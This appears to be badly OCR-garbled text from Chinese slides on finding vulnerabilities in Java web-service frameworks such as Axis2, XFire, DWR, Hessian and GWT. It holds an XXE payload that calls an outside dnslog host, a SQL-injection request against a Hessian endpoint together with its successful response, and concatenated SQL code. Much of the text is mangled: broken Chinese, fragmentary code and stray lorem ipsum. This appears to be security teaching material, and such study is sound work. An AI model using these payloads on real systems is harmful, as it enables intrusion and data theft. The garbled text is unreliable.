<servlet-name>AxisServlet</servlet-name>
<servlet-class>

org.apache.axis.transport.http. AX|sServIet
</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/services/*</url-pattern>

</servlet-mapping>

axisl
<servlet>

<servlet-name>CXFServlet</servlet-name>
<servletclass>org.apache.cxf.transport.servlet. CXFServlet</servlet-class>
<load-on-startup>1</load-on-startup>

</servlet> . ' ‘ ’

sservlet-name>CXFServlet</servlet-name>
<url- pattern>/webserV|ce/*</urI pattern>
</servlet-mapping> ..

cxf+spring




BYE capm|kxe

EOEAZE1C -webservice

C | O e,

his XML file does not appear to have any style information associated with it. The document tree is shown below.

JwsIZIFERIT

BEMSjwsX Gt Raxis2 A mi—MERIN | AEESHIHHITAR

el

riie due el 1. 7EwebH i/z\ﬁﬁ?ﬁjwséﬁ %EI’\JSU’—?
2. tRIEXI N A webi[a) B RBIT NS 2sH Ti5(E)
3. MEAAMNAYEOHTEHLT

privat

public int getUserID(String Userlame) throws

ct count(id) r o s_contes ere sta 2,104,105) and columnid in (" + ids + "
Sql);
sc = theDAL. DoSelect (strSql)

if (rse!=null){

ret = rsc. getInt("ct”):

theDAL. clo:

return (ret)




BYE capm|kxe

: I FZE 8 -webservice

<html>

<head>

<title>SOAP Monitor</title>

</head>

<body>

<object classid: 40-044E-11D1
itorApplet

<param name

<param name

<comment>

<embed type="applicati
<noembed>

</comment>

SOAPMonitor
Bi#HiTwebserviceEIE A , AIAES , XBEEFE— I REHNHH

</body>
2=

</html>

public void doGet (HetpServletRe
int port
if

1. 15atRE&12/SOAPMonitor , AERLHF A LIEEI— N ERENANE
e 2. InFE IR AHEFF B A 500 1im kTR &

0. printla(”

getfriter (). println("¢

: : :::: :"obje‘L:( classid=\"clsid: BADICB40—044E~11D1-B3E9—00805F499D93\” vidth=100% height=100% codebsse=\"http://jave. sun. cos 3 o g’?ﬁ?iﬁﬁ@?ﬂ?ﬁ%ﬁ*@% payl oa d H?j_—rec

(). println("<parsm name=code value=SOAPMonitorApplet.clas
. println("<param name=\"type\” value=\"application/z—java—applet:version=1.3\">"
iter (). println(” neme=\"scriptable\” value=\"false\">"

(. printla(” neme=\"port\” value=\"" + port + "\">")
etiriter (). println(”

(). println(”

(. println(”

(). printla(”

(). printla(”

(). println(”

(. printla(”

(). printla(”

0. printla("</htal>")

class ConnectionThread implements Runnable {

private Socket socket = null

private ObjectInputStream in = mull;

private ObjectOutputStr

private boolean closed

OutputSt
this out. flus

this. in getInputStrean())




%Df“ﬁﬁagia-webservice

C | © eemishio@EERE

nd now... Some Services

o Publish )

o removeAll
removeBylds
findByld
findList
findDefInfo
removeAllByState
modifyWaitState
modfiyLevel
publishWebsite
publishwWebsite
publishColumn
publishColumn
publishChildColumn
publishChildColumn
createWebsitelndex
createWebsiteCollndex
createColumnsindex
createColumnsColindex
createChildColumnsindex
createChildColumnsColindex
findBuildQueueByWeb
» WAAInterface (wsdl)

o findWebsites

o findColumns

O 0 00000 O O OO0 O0OO0OO0OO0OO0OO0OO0O0

o

public cless
private Stri

private Strin
public 7AA
(String webid) {
xml = new Strin; 0
1 version=\"1.0\" encoding=\"UTF-8\"2>"):

ql = "SELECT

data = Manager

null && data length

catename,i_parentid,b_visit FROM jcms_cataloginfo WHERE iv)bid—' + webid +

his strAppID, strSql):

0 {

i ¢ data. length: ++) {

olumn id=\""

] + "/index. html</rule>”);
] + "_%_ html</rule>”);

0] + "\" neme=\"" + datali][1] + "\" parid=\"" + data[i][2]

"|AND i_style<>0”;

+ "\" statistie=\"" + data[i

BYE capm|kxe

AXis2

T ENMB @ axis28kE axis KMAIIRSS , NFITHEE EXiH | K%
WREREE | MEERARIN B EREFEXmISSRENIFE

1. iFiaXd R webservicell812 |, Ebiill/services/a & /servlet/AxisServlet
2. WO MAYSSHITEIT , BEEIABR FElE— XM
3. {RhRAHIiExxe payload AT LA TIRIE

/services/Pro
Content-T text/xml;
SOAPAction: “urn:anonOutInOp”
User—Agent: Axis?2

Host: onliifaiheniumm

Content-Length: 123

POST /jso

<IDOCTYPE root [<IENTITY % remote SYSTEM
//axis2| 88d100. dnslog. info” >%remote: ]

<?xml version="1.0" encoding="UTF-



- BHERK smamka
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Xfire

Webik s , BEEIEMR |, #ERI&E—ThA , fEwebservice £
BB FEXMISTAREN

1. 15A)tRE&1R /services , ZEXINAIwebservicesiz[]
2. MiEpayload £ FERMXMISLAGEN




S FIEIT- dwr

<init-param>
<param-name>debug</param-name>
<param-value>true</param-value>
</init-param> ‘ . '
<servlet-mapping>
<servlet-name>dwr-invoker</servlet-name>
<url-pattern>/dwr/*</url-pattern>
. 2/servlet-mapping>

web.xml

- BHERK smamka

<create javascript="commonparams" creator="new,">

<param name="class"
</create>

vaIue:"com.exampIe.dwr.commontest.ComrhonParams“ />

dwr.xml



EOERZEIC-dwr

Headers | Hex

allicommonparams.ptringTestldwr HTTP/1.1

0 (Windows NT 10.0; Win64, x64; rv.56.0) Gecko/20100101 Firefox/56

ge: en-US en,q=0.5

Connection: close

callCount=1

~glfuZdxeAR6Qy4ho9Im/JZRRo9Im-dCmbaYdn5

CHB8BBICENDSS

15DB6ADF207376

BYE capm|kxe

1. *BTEI’Jlﬂlﬁ?iﬁdebugﬁ‘\im%lﬂhu A EENAHEE BN ELA
=, 72 88/exec/F1/dwr
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' . . .. - BER snpmka
'%I:I""*Fﬁiia—héssian | e ", . .

<beans xmlns="http: //www springframework.org/schema/beans”
xmins:xsi= http //www.w3.0rg/2001/XMLSchema-instance”
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemalocation=" ,
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.0.xsd
http://www.springframework.org/schema/tx
http://www.springframework.org/schema/tx/spring-tx-2.0. xsd
http://www.springframework.org/schema/aop
http://www.springframework.org/schema/aop/spring-aop-2.0.xsd" >

<servlet-mapping>
<servlet-name>
He55|anSprlngInvokeSerwce
. </servlet-name>
<url-pattern>/* hessian</url-pattern>
_</servlet-mapping> <l-- hessmnﬂli%l_lisprlng,b EHE -->
<bean id ="EncryptService.hessian" class

="com.ufgov.admin.license.svc.EncryptServiceImpl" >
web.xml </bean>
: </beans>
L d @ 2 =



BYE capm|kxe

1" union select USER, NULL NULL, NULL NULL from dual -- sd

POST /admin license/EncryptService.hessian HTTP/1.1
Host S,
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4, rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 */*,q=0.8
cept-Language: zh-CN zh;q=0.8 en-US;q=0.5 en;q=0.3
cept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

Cookie: JSESSIONID=nKdek72dMNTvchYULi22-TjIBBe6530AxS4Jt94chDxXwxaFig5fy!-137 1396500

Connection: close
Uparade-Insecure-Requests: 1
Content-Length: 82

c12m0OgetmodelCodelnfoS81' union select USER NULL NULL NULL NULL from dual -- sdz

HTTP/1.1 200 OFK

Connection: close

Date: Thu, 20 Jul 2017 15:00:06 GMT
Content-Type: application/x-hessian
{-Powered-By: Serviet/2.5 JSP/2.1
Content-Length: 29

HOROZAJW:nuill:null:null:null

ngth- 82cCm
ZgetmodelCodeln
foS81" union se
lect USER NULL,N
ULL,NULfOMNULL fr
om dual - sdz




BYE capm|kxe

EOERAEIC-gwt

<servlet>

zservlet-name>dreetServlet</servlet-name>

<servlet-class>
com.google.gwt.sample.validation.server.GreetingServiceImpl
</servlet-class>

</servlet>

<servlet-mapping>
<servlet-name>greetServlet</servlet-name> c
<url-pattern>/gwtrpcservlet</url-pattern> c :
</servlet-mapping> X ded-For: 127.0.0.1

R - http
Content-Length:

Connection: close

7|0|6|http:/Mlocalhost: 8080/validation/|CBEGGED215AC4DAB6F8B1407D582467F|com.google.gwt.sample.validation.client.GreetingSe
rvice|greetServerjcom.google.gwt.sample validation.shared.Person/2669394933|11111]1|2|3|4]1]5|5]0|6|0|A|

web.xml
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SUS=EITFR7IZApache-solrfEze
BiszeRE

%

BUEEIT =S HessianFT B 1EEE i codeweb

SSEITRFIZDWRFEIEZE

== yalz] s -
Weblogic &RFILREC(CVE-2018-2628) SR R7IZ dorados AR ey

johex

WebLogic

SSEITEFIZTHINKPHP3 2FF EiE2E

ThinkPHP*

SUSEITREFIZTHINKPHPIF E1EZE

ThinkPHP*




Lorem ipsugn dolor sit amet, consectetur adipisicing elit,
sed do eiusmod tempor incididunt ut labore et dolore
magna aliqua. Ut enim ad minim veniam, quis nostrud o,
exercitation ullamco laboris nisi ut aliquip ex ea i
commmodo consequat. Duis aute irure dolor in reprehen- " . .
derit in voluptate velit esse cillum dolore eu fugiat nulla . .
pariatur.
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